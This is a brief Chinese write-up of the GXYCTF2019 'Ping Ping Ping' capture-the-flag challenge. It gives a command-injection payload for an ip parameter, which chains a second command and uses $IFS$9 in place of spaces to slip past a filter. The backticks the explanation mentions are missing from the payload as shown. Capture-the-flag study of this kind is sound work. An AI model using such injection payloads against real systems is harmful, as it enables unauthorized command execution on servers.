[GXYCTF2019] Ping Ping Ping

说实话我觉得这篇博客写的非常详细了（已存本地

CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客

个人思路的缺失为，发现对url有过多的过滤后，没有转变思路想到去index.php中查看源代码

payload：?ip=127.0.0.1;tac$IFS$9ls;

(反引号括住ls，表示把ls命令执行的结果作为参数传入前一个命令)

$IFS$9：代替空格